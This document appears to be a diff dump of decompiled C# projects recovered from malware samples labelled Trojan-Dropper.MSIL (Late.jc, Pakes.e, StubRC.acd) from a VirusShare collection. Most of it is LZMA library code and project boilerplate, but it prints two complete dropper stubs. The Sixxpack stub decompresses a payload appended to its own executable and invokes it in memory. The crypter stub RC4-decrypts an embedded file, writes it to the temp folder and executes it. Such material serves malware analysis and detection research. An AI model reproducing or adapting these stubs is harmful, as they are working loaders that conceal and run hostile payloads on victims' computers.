void SetCoderProperties(CoderPropID[] propIDs, object[] properties);
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ISetDecoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ISetDecoderProperties
|
||||
{
|
||||
void SetDecoderProperties(byte[] properties);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.IWriteCoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface IWriteCoderProperties
|
||||
{
|
||||
void WriteCoderProperties(Stream outStream);
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.InvalidParamException
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class InvalidParamException : ApplicationException
|
||||
{
|
||||
public InvalidParamException()
|
||||
: base("Invalid Parameter")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Sixxpack.Compressor
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using SevenZip;
|
||||
using SevenZip.Compression.LZMA;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Sixxpack
|
||||
{
|
||||
internal class Compressor
|
||||
{
|
||||
public byte[] Decompress(Stream inStream)
|
||||
{
|
||||
MemoryStream outStream = new MemoryStream();
|
||||
byte[] numArray = new byte[5];
|
||||
if (inStream.Read(numArray, 0, 5) != 5)
|
||||
throw new Exception("Err");
|
||||
Decoder decoder = new Decoder();
|
||||
decoder.SetDecoderProperties(numArray);
|
||||
long outSize = 0;
|
||||
for (int index = 0; index < 8; ++index)
|
||||
{
|
||||
int num = inStream.ReadByte();
|
||||
if (num < 0)
|
||||
throw new Exception("Err");
|
||||
outSize |= (long) (byte) num << 8 * index;
|
||||
}
|
||||
long inSize = inStream.Length - inStream.Position;
|
||||
decoder.Code(inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null);
|
||||
return outStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Sixxpack.stub
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Sixxpack
|
||||
{
|
||||
internal class stub
|
||||
{
|
||||
internal static int orig = 45056;
|
||||
|
||||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(stub.myResolveEventHandler);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
object[] parameters = new object[1]{ (object) args };
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf('\\') + 1), FileMode.Open, FileAccess.Read);
|
||||
stream.Position = (long) stub.orig;
|
||||
byte[] buffer = new byte[stream.Length - (long) stub.orig];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
Assembly assembly = Assembly.Load(new Compressor().Decompress((Stream) inStream));
|
||||
try
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, parameters);
|
||||
}
|
||||
catch
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, (object[]) null);
|
||||
}
|
||||
}
|
||||
|
||||
private static Assembly myResolveEventHandler(object sender, ResolveEventArgs args)
|
||||
{
|
||||
string str = args.Name.ToString().Trim().Split(',')[0].ToString().Trim();
|
||||
string path = str.IndexOf(".") < 0 ? "_" + str + ".dll" : str.Replace(".", "_") + ".dll";
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(path, FileMode.Open, FileAccess.Read);
|
||||
byte[] buffer = new byte[stream.Length];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
return Assembly.Load(new Compressor().Decompress((Stream) inStream));
|
||||
}
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{E9C3A73E-2750-41C0-A47A-D7B41087075B}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>actmp</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>SevenZip</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="CRC.cs" />
|
||||
<Compile Include="DataErrorException.cs" />
|
||||
<Compile Include="InvalidParamException.cs" />
|
||||
<Compile Include="ICodeProgress.cs" />
|
||||
<Compile Include="ICoder.cs" />
|
||||
<Compile Include="CoderPropID.cs" />
|
||||
<Compile Include="ISetCoderProperties.cs" />
|
||||
<Compile Include="IWriteCoderProperties.cs" />
|
||||
<Compile Include="ISetDecoderProperties.cs" />
|
||||
<Compile Include="Compression\LZ\IInWindowStream.cs" />
|
||||
<Compile Include="Compression\LZ\IMatchFinder.cs" />
|
||||
<Compile Include="Compression\LZ\InWindow.cs" />
|
||||
<Compile Include="Compression\LZ\BinTree.cs" />
|
||||
<Compile Include="Compression\LZ\OutWindow.cs" />
|
||||
<Compile Include="Compression\LZMA\Base.cs" />
|
||||
<Compile Include="Compression\LZMA\Decoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\Decoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\BitDecoder.cs" />
|
||||
<Compile Include="Compression\RangeCoder\BitTreeDecoder.cs" />
|
||||
<Compile Include="Sixxpack\stub.cs" />
|
||||
<Compile Include="Sixxpack\Compressor.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "actmp", "Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.csproj", "{E9C3A73E-2750-41C0-A47A-D7B41087075B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E9C3A73E-2750-41C0-A47A-D7B41087075B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E9C3A73E-2750-41C0-A47A-D7B41087075B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E9C3A73E-2750-41C0-A47A-D7B41087075B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E9C3A73E-2750-41C0-A47A-D7B41087075B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyFileVersion("0.0.2.7")]
|
||||
[assembly: AssemblyCopyright("RDatOAjSJNGzRRE")]
|
||||
[assembly: AssemblyTrademark("UrakVoonEYvCarF")]
|
||||
[assembly: AssemblyProduct("EefimvXhGURGyzH")]
|
||||
[assembly: AssemblyVersion("0.0.2.7")]
|
||||
+1933
File diff suppressed because it is too large
Load Diff
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: update, Version=0.0.2.7, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BF43E90F-189F-4D83-A4EC-0CCAE72005D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: update, Version=0.0.2.7, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BF43E90F-189F-4D83-A4EC-0CCAE72005D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: update, Version=0.0.2.7, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BF43E90F-189F-4D83-A4EC-0CCAE72005D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{AA847928-A741-4794-98A7-A708A851B8CD}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>update</AssemblyName>
|
||||
<ApplicationVersion>0.0.2.7</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="XdZlCDYajHoShOU.cs" />
|
||||
<Compile Include="JKINxFMcEDTJLDc.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "update", "Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.csproj", "{AA847928-A741-4794-98A7-A708A851B8CD}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{AA847928-A741-4794-98A7-A708A851B8CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{AA847928-A741-4794-98A7-A708A851B8CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{AA847928-A741-4794-98A7-A708A851B8CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{AA847928-A741-4794-98A7-A708A851B8CD}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+64
File diff suppressed because one or more lines are too long
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: Guid("f19390c3-8dde-4258-bc8c-df5bd38e75a6")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("0.0.0.0")]
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.Form1
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private string[] options;
|
||||
private string file2;
|
||||
private string file1;
|
||||
private const string FileSplit = "^^**^^";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(284, 264);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
string tempPath = Path.GetTempPath();
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.file2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.file2);
|
||||
FileSystem.FileClose(1);
|
||||
this.options = Strings.Split(this.file2, "^^**^^");
|
||||
FileSystem.FileOpen(1, tempPath + this.options[2], OpenMode.Binary, OpenAccess.ReadWrite);
|
||||
this.file1 = Form1.rc4(this.options[1], "/\\");
|
||||
FileSystem.FilePut(1, this.file1, -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
Process.Start(tempPath + this.options[2]);
|
||||
this.Close();
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static string rc4(string message, string password)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = password.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
